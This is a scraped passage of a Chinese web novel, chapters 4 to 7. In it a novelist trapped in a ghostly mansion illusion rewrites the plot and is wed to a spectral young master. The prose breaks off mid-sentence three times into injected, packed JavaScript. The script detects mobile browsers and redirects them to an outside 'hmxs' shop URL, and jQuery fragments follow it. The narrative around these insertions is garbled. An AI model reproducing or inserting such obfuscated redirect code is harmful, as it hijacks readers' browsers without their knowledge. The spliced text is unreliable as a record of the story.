黎秋又朝二太太离开的地方追过去,躲在屋后的阴影里看着,前院后院,乱糟糟的“人”来回跑,那股海产品味更重了。
“到底哪来的鱼!”
“后厨后厨,去后院看看。”
“后院没有鱼!我刚从那过来。”
丫鬟小厮们无头苍蝇似的乱窜,“二太太发飙了,再不找到那些鱼,我们都要完蛋。”
“看样子,二太太去接不了少爷了。”黎秋又身后突然响起唐约粗哑的声音,吓她一跳。
贺尧被唐约的气场吓到,跑到了黎秋又的另一侧,眼前阵营有点滑稽,唐约和她身边的廖欢像趾高气昂的海鸥,黎秋又和贺尧在她俩面前,就像俩鹌鹑。
黎秋又跺了跺自己快要冻僵的脚,问唐约:“二太太这是怎么了?”
唐约仍旧穿着戏服,双手抱胸,“我怎么知道,我也只比你多来两天而已,前两天二太太不这样,对乔小姐叮嘱了两句,就带着府里上上下下的人都去门口候着了。”
可现在,黎秋又改了剧本,不这么演了啊!
黎秋又没有跟二人说改剧本的事情,唐约又睇了贺尧一眼,“哪来的傻子?”
贺尧站在一边满脸委屈,虽然和黎秋又只见过一次,但现在在这里,黎秋又算是他最亲近的人了,高高大大得往那一杵,黎秋又还是稍稍往他身边靠了点。
“是我弟弟,脑瘫患者。”这是管家跟黎秋又说的。
“我不是脑瘫。”贺尧急忙否认。
唐约冷笑一声:“我看也是,脑瘫患者智商是正常的,人还能考清华,你纯粹是傻。”
几人站在阴影里观战鬼影大乱炖,一时也搞不清楚剧情要怎么发展,那股海产腥味已经弥漫到院子的角角落落。
银烛去而复返,朝二太太院儿里跑,手里灯笼晃得颠儿颠儿的,跑了小半路,从眼睛余光望到黎秋又在一屋檐下的阴影处,忙又转头朝她跑过来。
黎秋又赶紧朝身边看看,才发现唐约两人不知什么时候消失了,但贺尧还保持刚才的动作,贼头贼脑地盯着院子里的那些忙碌的“人”。
黎秋又把人推了推,让他躲到后面去,贺尧偏不愿,说什么都不走。
这样一来银烛就匆匆跑到跟前了,她瞧着黎秋又动作古怪,问了一句:“乔小姐一个人在这里咕哝什么呢?”
黎秋又下意识把贺尧挡在身后,后一秒才意识到,这么大的个头,不是她这小身板能挡住的啊。
但银烛就跟没看见贺尧似的,急急忙忙朝黎秋又欠了欠身子,“乔小姐,二太太现在抽不开身,不知道哪里来的鱼腥味,府里上下忙得不可开交,恐怕要您代表老爷去迎一下少爷了。”
“我一个人?”
“是的,乔小姐,辛苦了。”银烛说完,简单给黎秋又指了指路就跑走了,一丝视线也没有分给黎秋又身后的贺尧。
黎秋又摸了摸自己冰凉的脖子。
“跟了我二十三年,辛苦了。”她悲怆地告别。
“去哪里找少爷?”贺尧跑到黎秋又视线里,认真盯着她的眼问。
黎秋又懒得理他,把他往一边推。回顾自己长这么大,还真是命大。
出生时母亲难产去世,她也差点没挺过来。
她后来由外婆抚养,七岁那年撞了鬼打墙,一个人在坟地里转了一天一夜,身边一个穿着中山装的“大人”牵着她的手,带着她找家,一个一个坟头地问。
外婆找到她的时候,她的左手腕已经被捏得乌青,黎秋又一边哭着说那个不是她的妈妈,一边抱着一只香炉死活不撒手。
外婆说她八字轻,容易招鬼,从那以后再也没有让她离开过半步。
往门口走,空气变得潮湿,前院也有一方水潭,位于院子的西北角,前院的活水在风水里是财源滚滚的寓意,但这一方水潭和后院那一方相似,在一棵巨大的榕树下,被茂冠遮盖。
黎秋又怕水,离那里远些,没想到贺尧还紧紧跟在她身后,短暂“沙沙”声后,黎秋又还没来得及反应过来是什么声音,就听见一阵机械女声响:“小猪才电话手表为您报时,现在是北京时间二十三点三十分。”
突兀的声音吓得黎秋又差点蹦水里去。
她扭头去,深深叹了口气,“把你的小猪才关掉。”
“不关。”贺尧摇头。
“你听我的,关掉,”黎秋又听见不远处的门外已经有些声音,料想少爷回家的时间应该不会那么准准的十一点四十五分到,提前推迟都有可能,所以压低了声音,“一会很危险,我要接的那个少爷,他吃人!你要是引起他的注意了,我们俩就完蛋了!”
“他吃人,又不吃手表。”贺尧还是摇头。
一会儿如果少爷要撕人了,她绝对会把贺尧垫在自己前边儿,绝对!二十三年的尊老爱幼关爱智障的素质教育只会在这一瞬间瓦解。
没过几秒,贺尧的手表又开始重复刚才的报时。黎秋又忍无可忍,转身就去他手腕上把表抠下来,麻溜地丢到了小潭里,小潭水发出“咚”得空洞一声。
“我的手表防水。”贺尧嘟嘴。
黎秋又快要气绝身亡,“那你自己去捡。”
贺尧是准备去捡的,但他跑到水池边,朝碧绿幽深的水面望了望,这么冷的天他也不会真傻到跳下去找表,他挠着脑袋,看看走远的黎秋又,又看看倒映着绿色灯笼光的水潭,还是选择跑着去黏上黎秋又。
门口的灯光更昏暗,两只孤零零的绿灯笼挂在正门,随着冬季带有烟火气的风,被吹得上下翻飞。
院门外的黑暗泼墨似的涌进宅子里来,两头都是危险的气息,一时也没办法比出哪边更危险了。
手腕上的怀表依旧在转动,它似乎在跟随着黎秋又的脉搏一起震动,越跳越快,仿佛灵魂都在震颤。
一步一步走到门口时,猛然间,黎秋又感受到了刚才那种铺天盖地的悲伤,喉头哽到酸疼,眼眶鼻尖抑制不住得发酸,生理性的眼泪憋都憋不住。
大喜大悲要不得!完蛋!
黎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698917|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋又被这种突如其来,又莫名其妙的感受憋到腿软。
身后的贺尧跑上前来,只轻轻拽了一下她的衣摆,就看见黎秋又“扑通”跪在了地上,眼眶通红。
她觉得自己现在看上去就像被院子里那些未开神志的鬼怪一样,双手按在冰冷的地面,执着地还在朝前爬,下半身的俩条冰棍都没意识了。
黎秋又下意识还是记得自己需要出去接少爷的,如果去晚了,难保自己不会像前两个十六姨太一个下场。
她一只手撑着要起身,一只手去擦掉自己脸上的泪,大口喘着气,需要赶紧调整呼吸。
手掌拍在门槛之外,凌乱的发散在鬓边,一对儿通红的眼,直直盯着府门前的三人。
“卧槽,鬼!”宣余躲到池二浩身后。
池二浩白了他一眼,看看门头上挂的绿灯笼,又看看地上趴着正挣扎着站起身来的女鬼,和身边站着的比鬼更可怕的少爷。心中一万头漂亮马奔腾。
场面越来越诡异了啊。
黎秋又终于撑起身子,又大口呼吸了几个回合,整理了一下身上的衣物,才强装着镇定,学着刚才见过的二太太的姨太,将两手并在小腹,款款迈出府门。
什么都没来得及问,作为新入门的冲喜新娘,问问银烛少爷的脾性和喜好,应该不算ooc,但她没这个时间。
黎秋又刚才的情绪收不回,心里还是难受,只能强迫自己微微笑着,温声道:“是大少爷回来了吧?妾身姓乔。”
完蛋!她自己叫乔什么!黎秋又还不知道!
“舟车劳顿,您受累了。老爷卧病,太太着我在此相候。天晚风凉,请少爷随我入府吧。”
作为少爷的准小妈,黎秋又觉得这样讲话应该还算妥当。
宣余预料到结局,早早就用双手把眼睛捂住。
池二浩也是坐够了火车,他也弄不清楚少爷为什么被激怒,每每站在家门口总要拧掉一个人。两人这几天曾在火车上试探问出些什么,却连蛛丝马迹都没问出来。
问就是,“从小家中太太们就宠我,疼我,哪里来的仇啊恨的。”
“虽说我不是二太太亲生的,但老爹膝下就我一个儿子,不疼我疼谁啊?”
“当然不会对陌生女孩子产生敌意,你们两个怎么总问些莫名其妙的问题。”
池二浩担忧着,轻喊了声:“少爷。”
他们身前的少爷,背影同以往无数次一样,散发着沉沉阴气,森然可怖的气息叫池二浩和宣余连呼吸都放轻了。
门口两只石狮子张着大口,看上去能吞食万物,露出它锋利的牙,在向人展示它的绝对力量。
贺尧在黎秋又身后,攥了攥她的衣角,搞不清状况地说:“这个少爷看上去好熟悉的感觉哦。”
黎秋又牙缝里挤出:“那你上去抱着他哭一场吧。”
少爷的身形修长挺拔,步伐沉稳,威压逼近。黎秋又腿肚子打颤。
杀气是什么气,黎秋又这时候悟了。写小说的时候,她可以形容,杀气是冬日里的寒风化作无形的利刃,独独朝她一个人劈来,或是如同黑暗坚固的巨大锅盖朝她压过来,密不透风地将她困在原地,无法呼吸,无从躲避。
她这段话恐怕只能在脑子里构思了。
少爷一步跨上三阶台阶,再一步,到达黎秋又面前。
“妾身?”低沉的气压化作实质,压在了他嗓子里,黎秋又听见了对方冷然的笑意,随即,少爷的手缓缓抬起,苍白冰凉的手指,轻缓温和地,扣在了她的下颌。
黎秋又反射性向后躲,踩上了旁边的贺尧,贺尧嗷嗷叫了两声,黎秋又全然没管,伸手拍了拍自己的小心肝,下意识为自己开脱的话脱口而出:“少爷自重,妾身是老爷将入门的姨太太,之后便是您的十六姨娘。”
乔小姐!危!
5. 第 5 章
记忆中的“咔咔”两声,宣余和池二浩没听到。
宣余从池二浩身后探出脑袋,池二浩紧闭的双眼缓缓睁开。
他们自从十多天前,到了这个陌生诡异的地方以来,跟在少爷身边,日复一日地做着重复的事情,也看着少爷每日的记忆都会重新回到火车上,从没见过少爷现在这幅模样。
单单一个背影,两人第一次在少爷身上看到了落寞。
他们家少爷,现在只是在这位新的乔小姐面前孤零零站着,微微低下的脑袋,落寞得看上去像被主人遗弃的小狗,孤独又寒冷。
黎秋又已经退离少爷三步之远,对面的人神色黯淡下来,杀意在瞬间,和他眉眼间的从容一起被抽走。
他视线在黎秋又脸上停了许久,久到黎秋又再次打了冷颤。
和刚才不一样的是,现在少爷面上有了带温度的情绪,他视线一寸寸下移,照X光似的把黎秋又从头到脚扫描了一遍,又怔怔地盯了会儿黎秋又的心口,又或是她放在心口处的手,好半晌,才露出一点笑意。
很勉强的笑,“十六……姨娘?”
他调整了一下自己的呼吸,又轻声说:“我是贺砚清,贺将军独子,问乔姨娘安好。”
听到他再次开口,语气冷静平淡,黎秋又低低松了口气,暗叹:这第一关算过了?接下来等着她的就是去老爷子的房里过夜……但愿能有新的台词出现,但愿自己的笔还能改写。
这么想着,忽地所有人都感受到天气变了。
似乎更加阴沉,更加黑暗,也更加潮湿,有暴雨欲来的气息。
鬼打墙的幻境里竟然还会有雨?
果不其然,不过几秒钟的时间,盆泼大雨毫无前摇地就下起来了,噼里啪啦砸在屋檐上,石狮子上,绿色的灯笼上,还在门外愣着的两个少爷跟班身上。
本来就冷,雨气一来,黎秋又冻得不行,因为害怕牙发出磕巴的声音而死死咬着,牙都快嘎嘣碎掉了,但她还得等着贺砚清的下一步动作。
贺砚清微微侧了侧身,“小池小宣,你们俩先把我的行李放去我屋里。”
“哎!好嘞!”宣余跑得倒快,池二浩冷汗直流,他俩又不是真的少爷跟班,去哪知道少爷屋在哪啊。
但好歹可以安稳一晚上,不用回到火车上了,两人麻溜地离开了这里。
贺砚清没有看贺尧,黎秋又给贺砚清让出一条路。
贺尧尾巴似的粘在黎秋又的背后,一不小心撞到身后的门板,发出一阵响动声,黎秋又的注意力都在贺砚清身上,冷不丁听到还被吓了一跳。
但这样,贺砚清还是没注意贺尧,朝门内走时在黎秋又面前停了停。
黎秋又心脏提到了嗓子眼,手伸到后面去拽住了贺尧的书包带子,如果有什么突发情况……
“乔……小姐的鞋过于单薄,先去换一双吧。如果没有,我一会儿差人给你送去。”贺砚清改了口,他的声音温和如清泉流水,但或许也是冷得,有些微颤抖,黎秋又冷不丁想起一个词——温柔陷阱。
她垂眸,礼貌地微微点头。
“乔小姐腕上的表看上去很别致。”
贺砚清只看了一眼就移开了视线,朝院子里走,黎秋又小心跟在身后,脑瓜子飞速运转,在担心他如果问表的来处,黎秋又应该怎么回答。
乔小姐不一定有个相依为命的外婆,但确定有个病重的妈,她是因为没钱治病而被迫嫁来这里当小的,以此换钱去给妈妈治病。
她甚至连一双暖和点的鞋也没有,手上却佩戴着这块在当时看来并不廉价的表。
怎么想怎么怪异。
在门口被拧了脑袋和在门内被拧脑袋有什么区别?
黎秋又暗暗祈祷外婆一定要保佑自己,又希望外婆一定不要来带走自己。
外婆显灵了,贺砚清并没有接着问下去。
贺尧还跟在她的身后,好在这种时候他没有在旁边胡乱讲话,只是静静跟着。
黎秋又也奇怪,为什么这么大个子的人杵在这里,并不会引人注目,所有人也都不介意他一直跟着黎秋又,难道他也是个什么存在感极低的bug?
这个传说中会随意拧人脑袋的少爷,现在走在她身侧。
贺砚清差下人拿了一把伞过来撑着,就不远不近地走在她旁边,与她共用一把伞。
如果不是那阵阵阴气实在冻人,倒还算是一副岁月静好的画面。
贺砚清告诉她,他需要先去向老爷报个平安,顺便看看老爷子的身体状况如何。
就像平常的朋友在交待一件平常的事。
这不像正常鬼,不,正常少爷对姨太太讲的话。
黎秋又心不在焉地“嗯”了一声,视线在自己身边上下扫射,期待着新的剧情出现,能够让她脱离现在这种可怕的情景。
雨又急又烈,噼里啪啦砸在伞面上,像是迫不及待地落下来,否则就会从此错过了来到人间的机会。
黎秋又对路并不熟悉,只能借助幽微的绿光辨别道路,跟在贺砚清身侧垂着脑袋,连应该去哪里都不知道。
突如其来的暴雨把刚才浓重的鱼腥味都压下去了,但还是没见到银烛和二太太他们,忙碌的下人并没有冲撞到少爷的面前来。
黎秋又和贺砚清两人到了前院,先前还在唱戏的曲子,听上去仿佛是因为这场雨,连音调都低沉了,格外得怪异。
舞台上的灯光是五颜六色的暗沉,场面怪异又阴森。
黎秋又大概是不懂戏曲,她觉得舞台上的人在张牙舞爪地把云袖乱挥。走近后,黎秋又才看清了台上站的竟然是唐约。
她那个像是抽了几年粗烟的嗓子果真不适合唱戏,但她还是在台上咿咿呀呀乱吼一阵,黎秋又觉得不堪入耳,好在噼里啪啦像砸进耳膜的雨声朦胧了这难听的戏曲,可台下观众却听得津津有味。
他们甚至像是感觉不到这场几乎能把人滴穿的暴雨,自在地坐在座位里,有人跷着二郎腿,有人磕着瓜子拍手叫好,场面如常热闹。
台上的人一眼就看见了模糊鬼脸之后,和那个可怕少爷站在一起,还被少爷手中的伞遮住的黎秋又。
黎秋又注意到了唐约神色怔愣了一瞬,她就朝唐约挑眉,得意地一笑。
贺砚清没有错过黎秋又的表情,以为她是感兴趣,宽大的伞面朝黎秋又微微低了低,声音轻缓:“这戏唱得不好,乔小姐如果喜欢看,过段时间我的事情安排好了,带你去戏园子看。”
他说着话,黎秋又觉得雨要小些了。
真是死亡对话,没人跟她说过这个少爷是自来熟吧。黎秋又真希望他再也别说话了,这话她也不知道自己该怎么回应。
拒绝吧,怕惹怒了这个家伙,答应吧,又不符合姨太太身份。
离开主院后,雨越来越小了,这诡异之地的诡异雨来得快去得也快,本应去拜见老爷的贺砚清一直在带着她走,将她带到了一处院子后,雨彻底停了下来。
这间院子里的绿色灯笼比较少,以至于看不清院里的景色,只能看见石板路的尽头,有三间并排的房屋,只有一间亮着暖色的灯,贺砚清直到把她带到房间门口,才停下了脚步。
黎秋又捂了捂自己的脖子。
“乔小姐换身衣服,我先去看老爷子。”
直到站在门口,黎秋又才看清了贺砚清的相貌。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698918|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他和其他所有鬼都不一样,不是模糊没有五官的面部,也不是僵硬着一种表情的神情,更不是凶神恶煞青面獠牙。
相反,贺砚清很好看。
山青雨雾,温玉比月。
他面上的淡淡阴郁愁云,衬他眉眼间的悲悯与怜爱。
黎秋又只敢抬眸看一眼。贺砚清这句话像没说完,她等了好一会儿没等到下文,就又礼貌地点点头,准备退进屋子里面去。
“阿云。”
黎秋又转身去推门的手一僵。
身后的人又换了称呼,“乔挽云,别怕,不会再有人伤害你了。”
黎秋又冷汗涔涔。这是什么剧本?台词呢?!
反正是背对着的,她索性麻溜地钻进了房间,“砰”地关上了房门。
关了门她才开始后怕,对方是鬼啊!真要拧她脑袋,门能挡住吗!
她在门口把门按了一会儿,外面的人一直没有离开。也或许离开了,毕竟鬼应该也可以瞬间就变到老爷子房里去。
但也没准会瞬间变到她身后,黎秋又光想着就感觉后背发寒。
她还是选择一点一点转过身,视线扫描了眼房间里,终于确认了无异常。
有惊无险,房内很温暖,屋子中央有一只火盆正燃着火,她这才想起外面还有个傻子没着落呢,这会也没出声,该不会是被鬼吃了!
管他呢,在这个地方她首要任务是保护好自己。
她躲到角落里,朝窗外看出去。
屋外是一片漆黑,没有见到贺尧身影。她突然又联想到,曾经看过的恐怖小段子,人从猫眼望出去,看见的是漆黑的楼道,再仔细一看,才发现那黑黑的东西不是什么黑暗空荡的楼道,而是一个人的瞳孔,那人正一眨不眨地看着她呢!
黎秋又被自己的联想吓着,缩回了房里,轻叹:“人的道德感还是不能太强,贺尧你就自求多福吧。”
这里是一间厢房,装饰简单,普通的木制家具和简约的台灯地灯,虽然这里和现世相比差别很大,好歹也是敲锣打鼓的一天终于能够踏实歇息的地方。
刚才没有淋雨,其实本不用换衣服的,最主要的是想给下半身的两条冰棍加点温。
转眼就看见床上正中央,大喇喇,整整齐齐地摆着一套衣服。
一套红艳艳的喜服!
乔小姐啊乔小姐,黎秋又欲哭无泪,能否先跟她讲讲全部的剧情?谁家好姨太太进门需要穿嫁衣!还需要拜堂!
慌神间,黎秋又金光映面,终于!台词终于来了!
她连忙取下自己后脑勺的发簪,晃了两下,幸好幸好,笔又亮起了绿色荧光。
【金线绣的并蒂莲,在鲜红似火的嫁衣上枝枝蔓蔓,乔挽云对镜略施胭脂,有些意兴阑珊,终在丫鬟银烛的陪同下,去往喜堂,与老爷拜堂。】
黎秋又非常果断地去擦掉乔挽云三个字,但不出意外的话又出意外了——这三个字,擦不掉!
看来这是重要人物,不能更改。那最后的“拜堂”两个字呢?黎秋又伸出手指狠狠戳了两下。
金灿灿的字就像是从某处投过去的光斑,任她怎么擦怎么戳都纹丝不动。
她干脆手掌伸过去把整段台词都抹一遍,最终发现,有个别字被抹掉了,顺着读过去,那个被擦掉的字在最后……
“与什么爷拜堂。”黎秋又念出了声,也差点哭出了声,总不能与什么大爷,二爷,爷爷的,拜堂吧……
那有什么区别!
台词出现的时间有些长了,金色的字开始变得黯淡,屋外响起一阵敲门声,“少爷差我来问问,乔小姐换好衣装了吗?”
哦!对了!
6. 第 6 章
少爷!
黎秋又在那空处,写下了一个“少”字。
和少爷拜堂,黎秋又露出两齿笑容。
黎秋又很满意这个改动,别无他选的情况下,如果跟少爷拜堂,是不是就会完全改变冲喜新娘的剧情?名正言顺的少奶奶和姨太太可是两个身份!
黎秋又还没来得及憧憬美好未来,屋外的丫鬟又道一句打破幻梦的话:“老爷病重,会由少爷代替老爷与乔小姐拜堂,少爷叫我来先跟乔小姐通个气,以免一会儿受惊。”
可她现在已经受惊了。
“知道了。”黎秋又回复了门口的人,随后听见了离开的脚步声。
时间快到凌晨一点,身体渐渐回暖,饥饿和疲倦朝黎秋又一直紧绷的神经侵略而来。
她不知道外面是怎么样的兵荒马乱,但想也知道绝不会是个安稳的夜。
随时在暴走边缘的二太太不知道有没有撕人,弥漫整座院子的鱼腥味有没有被处理,刚回国的少爷有没有安顿好。
这个时候,脑袋昏昏沉沉的黎秋又没有意识到自己担心的事情里面,没有自己。
她逆来顺受地换好衣装,在梳妆镜前简单梳顺头发。
下一秒,房门又被人从外面“砰”地踹开,吓得黎秋又猛地醒过神来,见来人是唐约和廖欢,才大口喘气。
对面镜子里的人胸口起伏,因先前就上了脂粉,从来没有化过妆的黎秋又,头一次觉得镜子里的自己很陌生。
唐约她们换了身轻便的衣装,她视线定位了黎秋又就两步跨到她面前来,一脚踏在她身侧的板凳上,“恭喜你。”
“你看着不太像恭喜我的样子。”黎秋又被凑近的颜霸逼得朝后靠在了梳妆台上,干笑一声。
“你居然过了少爷这关,接下来什么剧情?”
“拜堂……”黎秋又双手撑在身后,直愣愣地盯着唐约,讷讷道。
廖欢在唐约身后惊喜地笑出了声:“这么说,我们自由啦!咱唱完戏就可以走了呗!”
“走?你们可以离开这个鬼地方?”黎秋又抓住了希望。
唐约轻嗤一声,扭头瞪了廖欢一眼,转过来对黎秋又说:“离开?你现在可以去院子外面看看。”
“除了黑沉沉望不到头的浓雾,什么也没有。”
柴火噼啪两声,几人的呼吸都很沉重。昏暗的落地灯发出令人绝望的光。
唐约是个理智的人,她陷入沉思,声音低哑,“没听说过姨太太还要拜堂的,这个是原本就有的剧情,还是你改的?”
“原本就有,但我把‘和老爷拜堂’,改成了‘和少爷拜堂’。”贺砚清那张俊美无俦的脸又出现在眼前,黎秋又为自己这个行为羞红了脸。
她不是什么花痴的人,只是黎秋又很少社交,在学校时都是个高不成低不就的边缘人,平凡到栽进人群里,跟外面那群没有五官的鬼怪也差不多了,没什么好朋友,给老师留下的印象也不深。
再加上外婆的工作性质特殊,她也耳濡目染地稍微了解了些,从大学时就开始写些悬疑小说赚钱,毕业后就直接做起了全职写作,更少见人了。
这一天之内被两个颜霸争相冲洗眼睛,还是有点飘飘然的。
“但是,就算改成了和少爷拜堂,也改变不了我是老爷姨太太的身份。”黎秋又吸了吸鼻子。
“这么说,主要剧情还是要完成,避不开。”唐约思考时皱着眉,看上去很担忧的样子。
廖欢坐到黎秋又身边来,“唐约姐,你刚才不是说有话要跟乔小姐说吗?”
唐约方才想起,才道:“我觉得,这宅子里,不止我们这几个人。”
?
黎秋又很乖巧,他人讲话的时候,她会专注地看着对方的眼睛,直到对方讲完话。
“你也闻到了那股鱼腥味,我们来的这两天里,都没有发生这种意外。”
“这里面的鬼怪都是按照剧本工作,所以我认为,发生的意外情况,大概率是人为。”
黎秋又想了想,点头:“鬼打墙是这样的,鬼怪们都应该在自己既定的轨道上运行,除非幻境主人强大到已经有了意识。”
外婆那里有很多老书,黎秋又对风水学不感兴趣,只有在准备写同类型小说的时候才会去翻翻。
鬼打墙这件事情,也是因为她遭遇过,所以才算比较熟悉,七岁那时候发生的事情经过现在仍能清晰记得。
“鬼打墙不是走进一条路,不停地循环吗?”廖欢问。
“并不准确。”黎秋又皱着眉,仔细回忆小时候看过的书上的内容,“鬼打墙是将生人拖进了亡灵或生魂的强大怨念里,是由记忆碎片和内心恐惧交织成的幻境。”
“这么说的话,我猜这里应该是这位乔小姐的怨念幻境吧。”廖欢捏着下巴思考,对唐约说,像是在期待唐约给她一个肯定。
黎秋又想起自己身上发生的异常,觉得这一切,没准就是围绕着这位乔小姐发生的事。
唐约皱着眉好半晌没有讲话,她现在穿的风衣裙颇有些特工范,挺符合她气质,她没看廖欢,倒是望着黎秋又,“那破境的法子,应该就在你身上,乔小姐。”
廖欢见唐约没有否定她,瞬间就把唇角勾上了眉梢。
黎秋又看看两人,圆圆的双眼一弯,心里多了些芝麻点子,“那么,乔挽云乔小姐,邀请二位参加我的婚礼,二位可务必要赏光!”
唐约冷笑一声:“祝你好运。”
.
“鱼,鱼在哪?”后厨乱成了一锅粥。
锅碗瓢盆全部掀翻,蔬菜笼,家禽笼,被掀得四仰八叉,米缸翻倒在地,水缸全都倒空了,连灶炉里的火石都掏出来搁在一边释放着浓烟,所有人都如临大敌地找着那股鱼腥味的源头。
“根本没有鱼啊!”
但后厨院子里的空地上,正正摆了五个空箱子,气味从这里面弥漫出来,野猫三三两两漫步在屋顶,对着院子里的箱子虎视眈眈。
一阵汹涌的寒意,和乱七八糟的脚步声正朝后厨这边涌来,速度极快。
一个模糊面貌的“人”正焦急地四处乱窜,没头苍蝇似的在犄角旮旯里找鱼,趴在地下伸一根手指进老鼠洞里掏,被老鼠咬住手指,他站起身来,甩甩手想把老鼠甩掉。
下一秒,转身就迎面对上了冲到后厨来的二太太,二太太带着碧玉扳指的手,提起这个“人”,就将他的手臂轻轻松松扯下来扔在了地下。
她精致高跟鞋踩在那只断臂的断口处,狠狠碾压了几下,随手又把手里的人,连扯带撕,肉块被她丢到了一边,零零落落。
丢下去的肉块没过几秒就被淹没在黑夜里,消失得无影无踪。
野猫发出嘶厉的叫声,“喵呜——”。
“人”群中,有人轻轻咽了咽口水,和旁边的“人”一起,全都伏地低头,不敢喘气。
二太太现在已经无法维
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698919|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
持人的形状,面目扭曲,张开的巨口不断分泌着奇怪的液体,尖锐獠牙完全无法遮掩,她似乎用裸露在外的喉管讲话,发出的声音像指甲刮黑板,“谁!”
“到底是谁!”
与众“人”隔着五个空箱子,得不到回应,她张开双臂,骨架瞬间长大数倍,撑开了她身上华贵的衣装,发出布帛撕裂的声音,跪地的“人”群开始躁动,纷纷互相挨挤着朝角落退。
而里面真正的人,早已被这种场面吓到不敢动弹,屏住了呼吸。
忽的空气中传来一股清雅香气,如雨后竹,春时雾,将浓郁的鱼腥味全部压制下去。
一只温凉的手掌在二太太肩头拍了拍,嗓音温雅清隽,“二妈妈,我回来了。”
这一瞬间,炸毛的野猫伏下了身子,瑟瑟发抖的鬼怪安静下来,“人”群中的人,缓缓吐出一口气,他们面前的二太太,缩回了自己的獠牙。唯留下风吹草木,静静的“沙沙”。
二太太恢复成了人形。
她转身,看见了日夜思念的少爷。那个在她膝下长大,深宅大院里成为她唯一依靠的,离开家后,只有每月给她寄信回来问安的少爷,终于出现在了她面前,立即红了眼眶,“瘦了。”
她抬手想要去触碰贺砚清的脸,又猛地想起刚才自己做了什么,缩回手,在自己绷裂的衣服上擦了擦。
贺砚清垂眸,笑容如阳春白雪,“二妈妈,儿子没瘦,是长结实了。”
他攥着二太太的手腕,二人说着话,离开了后厨。
等他们走远,才有人跑到一口井边,后又朝着继续找鱼的“人”群喊了一句:“找到了!”
“鱼在井里!”
“怎么会在井里!这井是连通着每个院子的!”
“天呐!快下去捞啊!”
接着,就是“噗通噗通”的落水声。
这些胆小又愚蠢的鬼蛋子纷纷往井里跳,“人”实在多,他们还自发地排着队。
人感叹:“乱啊,都乱,乱点好啊。”
他安安静静地在黑暗中隐了身。
.
“吉时已到——”
黎秋又呛咳出声。没听说过凌晨一点是哪门子的吉时。
这中不中洋不洋的喜堂,两侧坐了许多无脸“人”,黎秋又有三百度轻微近视,来了这个地方后眼镜也不见了,昏暗灯光下,这点模糊在她眼里也是差不多的。
先前那些怪异的绿灯笼现在也恢复了正常。
看来改剧情这个金手指,也是时效性的功能,难怪无法改动重大剧情。
黎秋又被银烛牵着进来的,没有盖盖头,两侧的人即便看不清脸,也能从低语中,听出唏嘘和叹惋声。倒不是黎秋又想象中的嘲弄和嬉笑。
只有银烛,还是一副喜悦的笑面。
跨入喜堂门槛后,贺砚清就出现在了黎秋又的左侧,他也穿着一袭红袍,手中捧着一只红玉如意,黎秋又手上的绣球花结,另一端就系在这如意上。
靠近后,话多的贺砚清就开口小声问黎秋又:“还是冷吗?刚听见你咳嗽,是感染风寒了吗?”
他的话越多,黎秋又越费劲,劳心去斟酌字里行间是否有漏洞,就怕一个回答不对就会露馅。
刚才咳嗽仅仅是被呛着而已,但如果直说,那是不是就算忤逆了这位阴晴不定的少爷?
于是黎秋又另一只手轻掩了掩唇,又低低咳了两声,轻应:“嗯。”
7. 第 7 章
“我很想牵你的手,但又怕我的手会冻着你。”
!!!
黎秋又猛地又爆发一阵咳嗽,内心如石破天惊惊涛骇浪。
她偏头,抬眼,去看贺砚清的表情。这么近的距离,黎秋又可以看见贺砚清微垂的睫毛在轻微颤动,眉梢淡淡蹙着,视线停在手里的玉如意上,苍白的脸像是一只无瑕玉器,从眼底碎出裂纹。
黎秋又在内心自主创建小剧本,难道说,乔小姐在嫁进来之前就和这位少爷有点什么?一出时代虐恋的戏在她脑子里迅速上演并完结。
这剧情放在自己身上怎么都感觉有点炸裂。不管之前是什么剧情,现在她都是老爷的冲喜新娘,贺砚清的十六姨娘!
真希望赶紧结束这死亡对话。黎秋又干脆当做什么也没听见。
不远处,唐约和廖欢隐在黑暗中,黎秋又看见了那边的人影,虽然只能看见轮廓,但也能分辨出是她俩,只是怪在,二人刚刚明明换下了便装,此时又穿回了戏服站在那处。
倒是那二傻子到现在也没见到,不知道是不是凶多吉少。
高堂上坐着两个男人,看年龄,还挺像比少爷大两辈似的,有花白的头发和胡子,还有古井无波的眼神。
大概脸上的褶子可以代表他们的阅历,层层叠叠,他们像古老的树,好像在那高位坐了几百年。
走近二人,黎秋又闻到一股难以描述的臭气,比院子里先前那鱼腥味可怕多了。
还没等她仔细去辨别臭味的来源,一声高亢尖锐的“一拜——”强行聚拢了她的注意力,脑瓜子清醒到不能再清醒。
